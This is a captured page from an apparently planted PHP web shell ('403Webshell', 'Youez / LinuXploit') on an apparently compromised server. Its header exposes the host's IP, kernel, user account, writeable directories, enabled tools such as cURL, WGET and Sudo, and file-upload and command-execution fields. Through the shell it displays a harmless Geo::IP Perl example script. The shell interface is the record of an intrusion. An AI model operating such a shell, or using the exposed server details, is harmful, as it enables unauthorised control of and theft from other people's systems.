403Webshell
Server IP : 164.138.27.172  /  Your IP : 216.73.216.143
Web Server : nginx/1.27.4
System : Linux cookingdream 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : www-adm ( 1001)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/jonasn/.cpan/build/Geo-IP-1.51-0/example/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jonasn/.cpan/build/Geo-IP-1.51-0/example/org.pl
#!/usr/bin/perl

use strict;
use warnings;

use Geo::IP;

# here we are using GeoIP ISP
my $gi
    = Geo::IP->open( "/usr/local/share/GeoIP/GeoIPISP.dat", GEOIP_STANDARD );

# uncomment for GeoIP Organization
#my $gi = Geo::IP->open("/usr/local/share/GeoIP/GeoIPOrg.dat", GEOIP_STANDARD);

# uncomment for GeoIP Domain Name
#my $gi = Geo::IP->open("/usr/local/share/GeoIP/GeoIPDomain.dat", GEOIP_STANDARD);

while (<DATA>) {
    chomp;
    my ($org) = $gi->org_by_name($_);
    my $netmask = $gi->last_netmask;
    print join( "\t", $_, $org, $netmask ) . "\n";
}

__DATA__
12.10.1.4
66.108.94.158
yahoo.com
amazon.com
4.2.144.64
24.24.24.24

Youez - 2016 - github.com/yon3zu
LinuXploit